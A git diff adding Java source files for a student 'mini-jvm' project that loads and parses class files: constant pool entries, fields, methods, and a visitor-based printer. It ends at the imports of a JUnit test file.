diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ClassInfo.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..92ac5b67eb
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ClassInfo.java
@@ -0,0 +1,28 @@
+package com.coderising.jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
+	public void setUtf8Index(int utf8Index) {
+		this.utf8Index = utf8Index;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public String getClassName() {		
+		int index = getUtf8Index();
+		UTF8Info utf8Info = (UTF8Info)constantPool.getConstantInfo(index);
+		return utf8Info.getValue();		
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitClassInfo(this);
+	}
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ConstantInfo.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ConstantInfo.java
new file mode 100644
index 0000000000..8d4fc6f0de
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ConstantInfo.java
@@ -0,0 +1,41 @@
+package com.coderising.jvm.constant;
+
+public abstract class ConstantInfo {
+	public static final int UTF8_INFO = 1;
+	public static final int FLOAT_INFO = 4;
+	public static final int CLASS_INFO = 7;
+	public static final int STRING_INFO = 8;
+	public static final int FIELD_INFO = 9;
+	public static final int METHOD_INFO = 10;
+	public static final int NAME_AND_TYPE_INFO = 12;
+	protected ConstantPool constantPool;
+	
+	public ConstantInfo(){
+		
+	}
+	
+	public ConstantInfo(ConstantPool pool) {
+		this.constantPool = pool;
+	}
+	public abstract int getType();
+	
+	public ConstantPool getConstantPool() {
+		return constantPool;
+	}
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantPool.getConstantInfo(index);
+	}
+	
+	public abstract void accept(Visitor visitor);
+	
+	public static interface Visitor {
+		void visitClassInfo(ClassInfo classInfo);
+		void visitFieldRefInfo(FieldRefInfo fieldRefInfo);
+		void visitMethodRefInfo(MethodRefInfo methodRefInfo);
+		void visitNameAndTypeInfo(NameAndTypeInfo nameAndTypeInfo);
+		void visitNullConstantInfo(NullConstantInfo nullConstantInfo);
+		void visitStringInfo(StringInfo stringInfo);
+		void visitUTF8Info(UTF8Info utf8Info);
+	}
+	
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ConstantPool.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ConstantPool.java
new file mode 100644
index 0000000000..93506b1e20
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/ConstantPool.java
@@ -0,0 +1,29 @@
+package com.coderising.jvm.constant;
+
+import java.util.ArrayList;
+import java.util.List;
+
+public class ConstantPool {
+	
+	private List<ConstantInfo> constantInfos = new ArrayList<ConstantInfo>();
+	
+	
+	public ConstantPool(){
+		
+	}
+	public void addConstantInfo(ConstantInfo info){
+		
+		this.constantInfos.add(info);
+		
+	}
+	
+	public ConstantInfo getConstantInfo(int index){
+		return this.constantInfos.get(index);
+	}
+	public String getUTF8String(int index){
+		return ((UTF8Info)this.constantInfos.get(index)).getValue();
+	}
+	public int getSize() {		
+		return this.constantInfos.size() -1;
+	}
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
new file mode 100644
index 0000000000..cb31499dd3
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/FieldRefInfo.java
@@ -0,0 +1,58 @@
+package com.coderising.jvm.constant;
+
+public class FieldRefInfo extends ConstantInfo{
+	private int type = ConstantInfo.FIELD_INFO;
+	private int classInfoIndex;
+	private int nameAndTypeIndex;
+	
+	public FieldRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+		
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		
+		return getClassName() +" : "+  typeInfo.getName() + ":" + typeInfo.getTypeInfo() +"]";
+	}
+	
+	public String getClassName(){
+		
+		ClassInfo classInfo = (ClassInfo) this.getConstantInfo(this.getClassInfoIndex());
+		
+		UTF8Info utf8Info = (UTF8Info)this.getConstantInfo(classInfo.getUtf8Index());
+		
+		return utf8Info.getValue();
+		
+	}
+	
+	public String getFieldName(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();		
+	}
+	
+	public String getFieldType(){
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)this.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();	
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitFieldRefInfo(this);
+	}
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
new file mode 100644
index 0000000000..466b06f9ea
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/MethodRefInfo.java
@@ -0,0 +1,60 @@
+package com.coderising.jvm.constant;
+
+public class MethodRefInfo extends ConstantInfo {
+	
+	private int type = ConstantInfo.METHOD_INFO;
+	
+	private int classInfoIndex;	
+	private int nameAndTypeIndex;
+	
+	public MethodRefInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getClassInfoIndex() {
+		return classInfoIndex;
+	}
+	public void setClassInfoIndex(int classInfoIndex) {
+		this.classInfoIndex = classInfoIndex;
+	}
+	public int getNameAndTypeIndex() {
+		return nameAndTypeIndex;
+	}
+	public void setNameAndTypeIndex(int nameAndTypeIndex) {
+		this.nameAndTypeIndex = nameAndTypeIndex;
+	}
+	
+	public String toString(){
+	
+		return getClassName() +" : "+ this.getMethodName() + " : " + this.getParamAndReturnType() ;
+	}
+	public String getClassName(){
+		ConstantPool pool = this.getConstantPool();		
+		ClassInfo clzInfo = (ClassInfo)pool.getConstantInfo(this.getClassInfoIndex());
+		return clzInfo.getClassName();
+	}
+	
+	public String getMethodName(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getName();
+	}
+	
+	public String getParamAndReturnType(){
+		ConstantPool pool = this.getConstantPool();
+		NameAndTypeInfo  typeInfo = (NameAndTypeInfo)pool.getConstantInfo(this.getNameAndTypeIndex());
+		return typeInfo.getTypeInfo();
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitMethodRefInfo(this);
+	}
+	
+	
+	
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
new file mode 100644
index 0000000000..c13d8c4fc6
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/NameAndTypeInfo.java
@@ -0,0 +1,50 @@
+package com.coderising.jvm.constant;
+
+public class NameAndTypeInfo extends ConstantInfo{
+	public  int type = ConstantInfo.NAME_AND_TYPE_INFO;
+	
+	private int index1;
+	private int index2;
+	
+	public NameAndTypeInfo(ConstantPool pool) {
+		super(pool);
+	}
+	
+	public int getIndex1() {
+		return index1;
+	}
+	public void setIndex1(int index1) {
+		this.index1 = index1;
+	}
+	public int getIndex2() {
+		return index2;
+	}
+	public void setIndex2(int index2) {
+		this.index2 = index2;
+	}
+	public int getType() {
+		return type;
+	}
+	
+	
+	public String getName(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info1 = (UTF8Info)pool.getConstantInfo(index1);
+		return utf8Info1.getValue();
+	}
+	
+	public String getTypeInfo(){
+		ConstantPool pool = this.getConstantPool();
+		UTF8Info utf8Info2 = (UTF8Info)pool.getConstantInfo(index2);
+		return utf8Info2.getValue();
+	}
+	
+	public String toString(){
+		return "(" + getName() + "," + getTypeInfo()+")";
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitNameAndTypeInfo(this);
+	}
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
new file mode 100644
index 0000000000..655c273621
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/NullConstantInfo.java
@@ -0,0 +1,17 @@
+package com.coderising.jvm.constant;
+
+public class NullConstantInfo extends ConstantInfo {
+
+	public NullConstantInfo(){
+		
+	}
+	@Override
+	public int getType() {		
+		return -1;
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitNullConstantInfo(this);
+	}
+	
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/StringInfo.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/StringInfo.java
new file mode 100644
index 0000000000..84ae36c4ca
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/StringInfo.java
@@ -0,0 +1,31 @@
+package com.coderising.jvm.constant;
+
+public class StringInfo extends ConstantInfo{
+	private int type = ConstantInfo.STRING_INFO;
+	private int index;
+	public StringInfo(ConstantPool pool) {
+		super(pool);
+	}
+
+	public int getType() {
+		return type;
+	}
+	
+	public int getIndex() {
+		return index;
+	}
+	public void setIndex(int index) {
+		this.index = index;
+	}
+
+	
+	public String toString(){
+		return this.getConstantPool().getUTF8String(index);
+	}
+
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitStringInfo(this);
+	}
+	
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/UTF8Info.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/UTF8Info.java
new file mode 100644
index 0000000000..7c4aeb1861
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/constant/UTF8Info.java
@@ -0,0 +1,36 @@
+package com.coderising.jvm.constant;
+
+public class UTF8Info extends ConstantInfo{
+	private int type = ConstantInfo.UTF8_INFO;
+	private int length ;
+	private String value;
+	public UTF8Info(ConstantPool pool) {
+		super(pool);
+	}
+	public int getLength() {
+		return length;
+	}
+	public void setLength(int length) {
+		this.length = length;
+	}
+	public int getType() {
+		return type;
+	}
+	@Override
+	public String toString() {
+		return "UTF8Info [type=" + type + ", length=" + length + ", value=" + value +")]";
+	}
+	public String getValue() {
+		return value;
+	}
+	public void setValue(String value) {
+		this.value = value;
+	}
+	@Override
+	public void accept(Visitor visitor) {
+		visitor.visitUTF8Info(this);
+	}
+	
+	
+
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/field/Field.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/field/Field.java
new file mode 100644
index 0000000000..01a009331c
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/field/Field.java
@@ -0,0 +1,45 @@
+package com.coderising.jvm.field;
+
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+public class Field {
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	
+	
+	private ConstantPool pool;
+	
+	public Field( int accessFlag, int nameIndex, int descriptorIndex,ConstantPool pool) {
+		
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+		this.pool = pool;
+	}
+
+	
+	
+	
+	public static Field parse(ConstantPool pool,ByteCodeIterator iter){
+		int accessFlag = iter.nextU2ToInt();
+		int nameIndex = iter.nextU2ToInt();
+		int descriptorIndex = iter.nextU2ToInt();
+		Field field = new Field(accessFlag, nameIndex, descriptorIndex, pool);
+		int attCount = iter.nextU2ToInt();
+		if(attCount > 0){
+			//TODO handle field attrs
+			throw new RuntimeException("Field.attr not implements");
+		}
+		return field;
+	}
+	
+	public String toString() {
+		return pool.getUTF8String(nameIndex) + ":" + pool.getUTF8String(descriptorIndex);
+	}
+
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
new file mode 100644
index 0000000000..c0c4598800
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ByteCodeIterator.java
@@ -0,0 +1,69 @@
+package com.coderising.jvm.loader;
+
+import java.io.UnsupportedEncodingException;
+
+public class ByteCodeIterator {
+	
+	private byte[] codes;
+	private int pos;
+	
+	public ByteCodeIterator(byte[] codes){
+		this.codes = codes;
+	}
+	
+	public byte[] nextU2(){ return new byte[]{codes[pos++], codes[pos++]};}
+	
+	public byte[] nextU4(){ return new byte[]{codes[pos++], codes[pos++], codes[pos++], codes[pos++]};}
+	
+	public int nextU1ToInt() {
+		return (codes[pos++] & 0xff);
+	}
+	
+	public int nextU2ToInt() {
+		return ((codes[pos++] & 0xff00) << 8) | (codes[pos++] & 0x00ff);
+	}
+	
+	public int nextU4ToInt() {
+		return ((codes[pos++] & 0xff000000) << 24) | ((codes[pos++] & 0x00ff0000) << 16)
+				| ((codes[pos++] & 0x0000ff00) << 8) | (codes[pos++] & 0x000000ff) ;
+	}
+	
+	public String nextUxToHexString(int len) {
+		StringBuffer buffer = new StringBuffer();
+   		for(int i=0;i<len;i++){
+   			byte b = codes[pos++];
+   			int value = b & 0xFF;
+   			String strHex = Integer.toHexString(value);
+   			if(strHex.length()< 2){
+   				strHex = "0" + strHex;
+   			}		
+   			buffer.append(strHex);
+   		}
+   		return buffer.toString();
+	}
+	
+	public String nextUxToString(int len){
+		byte[] tmp = new byte[len];
+		for(int i=0;i<len;i++){
+			tmp[i] = codes[pos++];
+		}
+		try {
+			return new String(tmp, "UTF-8");
+		} catch (UnsupportedEncodingException e) {
+			e.printStackTrace();
+			return "";
+		}
+	}
+	
+	public void back(int len){
+		this.pos-=len;
+	}
+	
+	public static void main(String[] args) {
+		byte a = 00;
+		byte b = 52;
+		int value = ((a & 0xff00) << 8) | (b & 0xff);
+		System.out.println(value);
+	}
+	
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileLoader.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
new file mode 100644
index 0000000000..176b4af934
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileLoader.java
@@ -0,0 +1,99 @@
+package com.coderising.jvm.loader;
+
+import java.io.BufferedInputStream;
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.clz.ClassFile;
+
+
+
+public class ClassFileLoader {
+
+	private List<String> clzPaths = new ArrayList<String>();
+	
+	public byte[] readBinaryCode(String className) {
+		className = className.replace('.', File.separatorChar) +".class";
+		
+		for(String path : this.clzPaths){
+			
+			String clzFileName = path + File.separatorChar + className;
+			byte[] codes = loadClassFile(clzFileName);
+			if(codes != null){
+				return codes;
+			}			
+		}
+		
+		return null;
+	}
+	
+	public ClassFile loadClass(String className) {
+		byte[] codes = this.readBinaryCode(className);
+		ClassFileParser parser = new ClassFileParser();
+		return parser.parse(codes);
+		
+	}
+
+	public void addClassPath(String path) {
+		if(clzPaths.contains(path))
+			return ;
+		clzPaths.add(path);
+	}
+	
+	
+	
+	public String getClassPath(){
+		StringBuilder sb = new StringBuilder();
+		for(String clzPath : clzPaths){
+			sb.append(clzPath).append(";");
+		}
+		return sb.length() == 0?"":sb.substring(0, sb.length()-1);
+	}
+
+	private byte[] loadClassFile(String clzFileName) {
+		
+		BufferedInputStream bis = null;
+		
+		try {
+			
+			File f = new File(clzFileName);
+			
+						
+			bis = new BufferedInputStream(new FileInputStream(f));
+			
+			ByteArrayOutputStream bos = new ByteArrayOutputStream();
+			
+			
+			byte[] buffer = new byte[1024];
+			int length = -1;
+			
+			while((length = bis.read(buffer)) != -1){
+				bos.write(buffer, 0, length);				
+			}
+			
+			byte [] codes = bos.toByteArray();
+			
+			return codes;
+			
+		} catch(IOException e){
+			e.printStackTrace();
+			
+		} finally{
+			if(bis != null){
+				try {
+					bis.close();
+				} catch (IOException e) {					
+					e.printStackTrace();
+				}
+			}
+		}
+		return null;
+	}	
+
+	
+
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileParser.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileParser.java
new file mode 100644
index 0000000000..3a6258e26b
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/loader/ClassFileParser.java
@@ -0,0 +1,134 @@
+package com.coderising.jvm.loader;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import com.coderising.jvm.clz.AccessFlag;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.clz.ClassIndex;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.NullConstantInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.field.Field;
+import com.coderising.jvm.method.Method;
+
+public class ClassFileParser {
+	
+	public ClassFile parse(byte[] codes) {
+		ClassFile classFile = new ClassFile();
+		ByteCodeIterator iter = new ByteCodeIterator(codes);
+		
+//		String magicNumber = iter.nextUxToHexString(4);
+		iter.nextUxToHexString(4);
+		
+		classFile.setMinorVersion(iter.nextU2ToInt());
+		classFile.setMajorVersion(iter.nextU2ToInt());
+		
+		ConstantPool pool = parseConstantPool(iter);
+		classFile.setConstPool(pool);
+		
+		classFile.setAccessFlag(parseAccessFlag(iter));
+		
+		classFile.setClassIndex(parseClassInfex(iter));
+		
+		parseInterfaces(iter);
+		
+		classFile.setFields(prarseField(iter, pool));
+		classFile.setMethods(parseMethod(iter, classFile));
+		return classFile;
+	}
+
+	private List<Method> parseMethod(ByteCodeIterator iter, ClassFile classFile) {
+		List<Method> methods = new ArrayList<>();
+		int mthodsCount = iter.nextU2ToInt();
+		for(int i=0;i<mthodsCount;i++) {
+			methods.add(Method.parse(classFile, iter));
+		}
+		return methods;
+	}
+
+	private List<Field> prarseField(ByteCodeIterator iter, ConstantPool pool) {
+		List<Field> fields = new ArrayList<>();
+		int fieldsCount = iter.nextU2ToInt();
+		for(int i=0;i<fieldsCount;i++) {
+			fields.add(Field.parse(pool, iter));
+		}
+		return fields;
+	}
+
+	private AccessFlag parseAccessFlag(ByteCodeIterator iter) {
+		AccessFlag accessFlag = new AccessFlag(iter.nextU2ToInt());
+		return accessFlag;
+	}
+
+	private ClassIndex parseClassInfex(ByteCodeIterator iter) {
+		ClassIndex classIndex = new ClassIndex();
+		classIndex.setThisClassIndex(iter.nextU2ToInt());
+		classIndex.setSuperClassIndex(iter.nextU2ToInt());
+		return classIndex;
+
+	}
+
+	private ConstantPool parseConstantPool(ByteCodeIterator iter) {
+		ConstantPool pool = new ConstantPool();
+		pool.addConstantInfo(new NullConstantInfo());
+		int length = iter.nextU2ToInt();
+		int type;
+		for(int i=1;i<length;i++){
+			type = iter.nextU1ToInt();
+			switch(type){
+			case 7:
+				ClassInfo classInfo = new ClassInfo(pool);
+				classInfo.setUtf8Index(iter.nextU2ToInt());
+				pool.addConstantInfo(classInfo);
+				break;
+			case 1:
+				UTF8Info utf8Info = new UTF8Info(pool);
+				utf8Info.setLength(iter.nextU2ToInt());
+				utf8Info.setValue(iter.nextUxToString(utf8Info.getLength()));
+				pool.addConstantInfo(utf8Info);
+				break;
+			case 8:
+				StringInfo stringInfo = new StringInfo(pool);
+				stringInfo.setIndex(iter.nextU2ToInt());
+				pool.addConstantInfo(stringInfo);
+				break;
+			case 9:
+				FieldRefInfo fieldRefInfo = new FieldRefInfo(pool);
+				fieldRefInfo.setClassInfoIndex(iter.nextU2ToInt());
+				fieldRefInfo.setNameAndTypeIndex(iter.nextU2ToInt());
+				pool.addConstantInfo(fieldRefInfo);
+				break;
+			case 10:
+				MethodRefInfo methodRefInfo = new MethodRefInfo(pool);
+				methodRefInfo.setClassInfoIndex(iter.nextU2ToInt());
+				methodRefInfo.setNameAndTypeIndex(iter.nextU2ToInt());
+				pool.addConstantInfo(methodRefInfo);
+				break;	
+			case 12:
+				NameAndTypeInfo nameAndTypeInfo = new NameAndTypeInfo(pool);
+				nameAndTypeInfo.setIndex1(iter.nextU2ToInt());
+				nameAndTypeInfo.setIndex2(iter.nextU2ToInt());
+				pool.addConstantInfo(nameAndTypeInfo);
+				break;
+			default:
+				System.out.println("常量池类型" + type + "还没实现");
+				break;
+			}
+		}
+		return pool;
+	}
+	
+	private void parseInterfaces(ByteCodeIterator iter) {
+		int interfaceCount = iter.nextU2ToInt();
+
+		System.out.println("interfaceCount:" + interfaceCount);
+
+		// TODO : 如果实现了interface, 这里需要解析
+	}
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/method/Method.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/method/Method.java
new file mode 100644
index 0000000000..3b47188bbf
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/method/Method.java
@@ -0,0 +1,84 @@
+package com.coderising.jvm.method;
+
+import com.coderising.jvm.attr.AttributeInfo;
+import com.coderising.jvm.attr.CodeAttr;
+import com.coderising.jvm.attr.LineNumberTable;
+import com.coderising.jvm.attr.LocalVariableTable;
+import com.coderising.jvm.attr.StackMapTable;
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.cmd.ByteCodeCommand;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.loader.ByteCodeIterator;
+
+
+
+public class Method {
+	
+	private int accessFlag;
+	private int nameIndex;
+	private int descriptorIndex;
+	
+	private CodeAttr codeAttr;
+	
+	private ClassFile clzFile;
+	
+	public int getAccessFlag() {
+		return accessFlag;
+	}
+	
+	public ClassFile getClzFile() {
+		return clzFile;
+	}
+
+	public int getNameIndex() {
+		return nameIndex;
+	}
+	public int getDescriptorIndex() {
+		return descriptorIndex;
+	}
+	
+	public CodeAttr getCodeAttr() {
+		return codeAttr;
+	}
+
+	public void setCodeAttr(CodeAttr code) {
+		this.codeAttr = code;
+	}
+
+	public Method(ClassFile clzFile,int accessFlag, int nameIndex, int descriptorIndex) {
+		this.clzFile = clzFile;
+		this.accessFlag = accessFlag;
+		this.nameIndex = nameIndex;
+		this.descriptorIndex = descriptorIndex;
+	}
+
+	
+	
+	
+	
+	public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
+		int accessFlag = iter.nextU2ToInt();
+		int nameIndex = iter.nextU2ToInt();
+		int descriptorIndex = iter.nextU2ToInt();
+		Method method = new Method(clzFile, accessFlag, nameIndex, descriptorIndex);
+		int attrCount = iter.nextU2ToInt();
+		ConstantPool pool = clzFile.getConstantPool();
+		for (int i = 1; i <= attrCount; i++) {
+			int attrNameIndex = iter.nextU2ToInt();
+			String attrName = pool.getUTF8String(attrNameIndex);
+			iter.back(2);
+			if(AttributeInfo.CODE.equalsIgnoreCase(attrName)){
+				method.setCodeAttr(CodeAttr.parse(clzFile, iter));
+			}else {
+				//TODO
+				throw new RuntimeException("Method.parse not implement " + attrName);
+			}
+		}
+		return method;
+		
+	}
+
+	public ByteCodeCommand[] getCmds() {
+		return this.getCodeAttr().getCmds();
+	}
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/print/ClassFilePrinter.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
new file mode 100644
index 0000000000..f4f8ef8c58
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/print/ClassFilePrinter.java
@@ -0,0 +1,54 @@
+package com.coderising.jvm.print;
+
+import com.coderising.jvm.clz.ClassFile;
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+import com.coderising.jvm.loader.ClassFileLoader;
+
+public class ClassFilePrinter {
+	ClassFile clzFile = null;
+	public ClassFilePrinter(ClassFile clzFile){
+		this.clzFile = clzFile;
+	}
+	
+	public void print(){
+		
+		if(clzFile.getAccessFlag().isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ clzFile.getClassName());
+		
+		System.out.println("Super Class Name:"+ clzFile.getSuperClassName());
+		
+		System.out.println("minor version:" + clzFile.getMinorVersion());
+		
+		System.out.println("major version:" + clzFile.getMinorVersion());
+		
+		ConstantPoolPrinter cnstPoolPrinter = new ConstantPoolPrinter(clzFile.getConstantPool());
+		cnstPoolPrinter.print();
+		
+		
+		
+		
+	}
+	
+	public static void main(String[] args){
+		String path = "/Users/jie/Documents/git/gitRepository/coding2017/group23/1028361767/mini-jvm/bin";
+		ClassFileLoader loader = new ClassFileLoader();
+		loader.addClassPath(path);
+		String className = "com.coderising.jvm.test.EmployeeV1";
+		
+		ClassFile clzFile = loader.loadClass(className);
+		
+		ClassFilePrinter printer  = new ClassFilePrinter(clzFile);
+		
+		printer.print();
+	}
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
new file mode 100644
index 0000000000..2e84c4b2f1
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/print/ConstantPoolPrinter.java
@@ -0,0 +1,77 @@
+package com.coderising.jvm.print;
+
+import java.util.concurrent.SynchronousQueue;
+
+import com.coderising.jvm.constant.ClassInfo;
+import com.coderising.jvm.constant.ConstantInfo;
+import com.coderising.jvm.constant.ConstantPool;
+import com.coderising.jvm.constant.FieldRefInfo;
+import com.coderising.jvm.constant.MethodRefInfo;
+import com.coderising.jvm.constant.NameAndTypeInfo;
+import com.coderising.jvm.constant.NullConstantInfo;
+import com.coderising.jvm.constant.StringInfo;
+import com.coderising.jvm.constant.UTF8Info;
+
+public class ConstantPoolPrinter {
+	ConstantPool pool;
+	ConstantPoolPrinter(ConstantPool pool){
+		this.pool = pool;
+	}
+	public void print(){
+		
+		System.out.println("Constant Pool:");
+		
+		ConstantInfo.Visitor visitor = new ConstantInfo.Visitor() {
+			
+			@Override
+			public void visitUTF8Info(UTF8Info utf8Info) {
+				System.out.println("UTF8           " + utf8Info.getValue());
+			}
+			
+			@Override
+			public void visitStringInfo(StringInfo stringInfo) {
+				System.out.println("String         " + stringInfo.toString());
+			}
+			
+			@Override
+			public void visitNullConstantInfo(NullConstantInfo nullConstantInfo) {
+				
+			}
+			
+			@Override
+			public void visitNameAndTypeInfo(NameAndTypeInfo nameAndTypeInfo) {
+				System.out.println("NameAndType    " + nameAndTypeInfo.getIndex1() + ":" + nameAndTypeInfo.getIndex2()
+						+ "    // " + nameAndTypeInfo.getName() + ":" + nameAndTypeInfo.getTypeInfo());
+			}
+			
+			@Override
+			public void visitMethodRefInfo(MethodRefInfo methodRefInfo) {
+				System.out.println("Methodref      " + methodRefInfo.getClassInfoIndex() + "." 
+						+ methodRefInfo.getNameAndTypeIndex() + "    // "
+						+ methodRefInfo.getClassName() + "." + methodRefInfo.getMethodName()
+						+ ":" + methodRefInfo.getParamAndReturnType());
+			}
+			
+			@Override
+			public void visitFieldRefInfo(FieldRefInfo fieldRefInfo) {
+				System.out.println("Fieldref       " + fieldRefInfo.getClassInfoIndex() + "."
+						+ fieldRefInfo.getNameAndTypeIndex() + "    // "
+						+ fieldRefInfo.getClassName() + "." + fieldRefInfo.getFieldName() + ":"
+						+ fieldRefInfo.getFieldType());
+			}
+			
+			@Override
+			public void visitClassInfo(ClassInfo classInfo) {
+				System.out.println("Class          " + classInfo.getUtf8Index() + "    // " + classInfo.getClassName());
+			}
+		};
+		
+		for(int i=1;i<this.pool.getSize();i++){
+			if(i < 10){
+				System.out.print(" ");
+			}
+			System.out.print("  #" + i + " = ");
+			this.pool.getConstantInfo(i).accept(visitor);
+		}
+	}
+}
diff --git a/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java b/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
new file mode 100644
index 0000000000..0d5f2b1685
--- /dev/null
+++ b/group23/1028361767/mini-jvm/src/com/coderising/jvm/test/ClassFileloaderTest.java
@@ -0,0 +1,353 @@
+package com.coderising.jvm.test;
+
+import java.util.List;
+
+import org.junit.After;
+import  org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
